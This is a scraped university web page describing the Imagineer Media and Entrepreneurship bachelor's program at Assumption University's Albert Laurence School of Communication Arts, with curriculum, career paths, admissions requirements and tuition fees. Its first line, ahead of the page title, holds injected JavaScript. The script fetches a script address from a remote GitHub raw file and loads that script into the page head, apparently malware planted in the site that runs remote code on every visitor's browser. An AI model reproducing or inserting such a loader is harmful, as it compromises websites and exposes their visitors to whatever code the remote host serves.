;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); IME – Albert Laurence School of Communication Arts
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overview

The Imagineer Media and Entrepreneurship (IME) Program is an interdisciplinary international bachelor’s degree created for aspiring entrepreneurs and creative professionals. Offered by the Albert Laurence School of Communication Arts, the program blends creativity, communication, branding, marketing, and media production into a flexible, modular structure that can be completed in just 3 years.

Imagineer Media Entrepreneur-ship (IME)

CREATIVE COMMUNICATION AND IDEATION | BRANDING, MARKETING & COMMUNICATION | VISUAL DESIGN & MEDIA PRODUCTION

An interdisciplinary program designed for aspiring entrepreneurs and creators.

Structured as flexible, modular courses, the program can be completed within 3 years. It empowers students with a foundation in business, communication, and media production. Students will explore their personal and professional interests while gaining hands-on skills in branding, marketing, content creation, and design. Through practical, real-world projects, they will learn how to build their own brand from scratch—designing brand identities, planning campaigns, and producing content across platforms. With guidance from industry professionals, students will develop the ability to create their own advertisements in all media formats—film, video clips, online posts, and more—to effectively promote and sell their products. Graduates will be equipped to launch and manage their own businesses—from concept to execution—independently and confidently, ready to thrive in today’s fast-moving creative economy.

In addition, this program is true to the Albert Laurence School of Communication Arts concept of Creative Connected Global Citizen. Throughout their studies, students will learn from international professors and guest lecturers, gaining valuable insights into diversity and global perspectives. Most courses are practice-driven and project-based, offering hands-on experience and exposure to real-world challenges. Beyond the classroom, students will engage in curated field trips and creative experiences that enrich their learning, spark inspiration, and deepen their understanding of the industries they aspire to join. These opportunities, along with frequent visits from respected guest speakers and industry experts, ensure students are connected to both local and international creative communities.

IME CAREER OPPORT-UNITIES

IME CAREER OPPORTUNITIES

Graduates of the IME program are independent creators and doers. They can craft a business plan, build a brand, design all communication materials, and produce media content—managing every part of the process effectively.

With this unique blend of business, creativity, and execution skills, IME graduates can take on a wide range of career paths, such as:

  • Entrepreneur / Business Founder / Online Business Owner
  • Brand & Marketing Strategist / Marketing Manager / Digital Marketer / Social Media Strategist / Content Marketing Specialist / Creative Communication Planner
  • Content Creator / Media Producer / Video, Sound & Multimedia Editor
  • Brand Identity Designer / Freelance Creative and Designer / Creative Consultant

Learning Experience

Three Year Track

4 years Expectation and Learning outcome in IME curriculum

 

1St year

  • Field Trips and On-site Learning (led by Ajarn Bo and team)
  • Fundamental Design Skills (Graphic Design, Visual Communication)
  • Creative Thinking Workshops (Idea Development, Team Collaboration)
  • Introduction to Media and Entrepreneurship

2ndyear

  • Marketing and Branding Fundamentals (Consumer Insight, Brand Strategy)
  • Media Production Skills (Content Creation, Video Production, Digital Media)
  • Entrepreneurial Mindset and Business Strategy
  • Team Projects and Practical Assignments

3rd year

  • Capstone Project (Developing real-world campaigns and business ideas)
  • Internship Program (Real experience with companies)
  • Portfolio Development (Showcasing skills for future careers)
  • Business Simulation and Startup Challenges

Teaching and Learning Philosophy

The Imagineer Media and Entrepreneurship program is built on the belief that students can become self-reliant creative entrepreneurs—capable of building and managing their own businesses from the ground up. Graduates leave with the ability to craft brand identities, design communication materials, and oversee every aspect of a business independently.

With a strong emphasis on hands-on experience, the program minimizes traditional lectures to just 30%, focusing instead on interactive, practice-based learning. Courses are designed to be flexible, incorporating workshops, seminars, and real-world projects led by industry professionals.

Internship

With a diverse and adaptable skill set, they are well-prepared to intern across a wide range of industries—from creative agencies and media companies to startups and entrepreneurial ventures. Students have the opportunity to pursue internships both locally and internationally, encouraging real-world learning that aligns with their personal and professional goals. For international students, the option to intern abroad also provides a valuable chance to gain professional experience in their home countries, helping them prepare for life and work after graduation.

Admissions Requirement

  • Students need to submit the following documents
  • Transcript 5 semesters
  • Portfolio or self-introduction clip 3 – 5 minutes long
  • Copy of Citizen ID (for Thai students) or Passport (for International Students)
  • Copy of House Registration (for Thai students)
  • Photograph
  • IELTS or TOEFL results (not compulsory)

Frequently asked questions

Thai version

Q. What are the admission requirements?

A. Students can either submit a portfolio or a 3 – 5 minute video introducing themselves. The program would make an appointment for interview.

Q. Is IELTS or TOEFL required for admission?

The scores are not compulsory. However, students with good scores can waive English courses.
For more information

Q. How to apply to the program?

A. Students can apply at both of the campuses in Huamak or Suvarnabhumi or apply online at AU admission website

Q. How much does the program cost?

Tuition Fees : 660,000 THB
 The tuition fee is set at 120,000 THB per semester for the first three semesters, and 100,000 THB per semester for the subsequent three semesters.

* This fee excludes expenses related to trips and excursions.

Year / Semester Cost / Thai Bath
Year 1 Semester 1
120,000 Thai Baht
Year 1 Semester 2
120,000 Thai Baht
Year 2 Semester 1
120,000 Thai Baht
Year 2 Semester 2
100,000 Thai Baht
Year 3 Semester 1
100,000 Thai Baht
Year 3 Semester 2
100,000 Thai Baht

Q. Is scholarship available?

A. This program is not eligible for scholarship.

Q. Are there international internship opportunities?

A. Yes, there are international internship opportunities. The decision to allow such internships depend on the alignment between the student’s interest and the company accepting the intern.

Links

Contact

Albert Laurence School of Communication Arts

Assumption University (Suvarnabhumi Campus)
88 Moo 8 Bang Na-Trad km. 26, Bangsaothong,
Samuthprakarn, Thailand 10570

Albert Laurence School of Communication Arts

Assumption University (Suvarnabhumi Campus)
88 Moo 8 Bang Na-Trad km. 26, Bangsaothong,
Samuthprakarn, Thailand 10570

Contact

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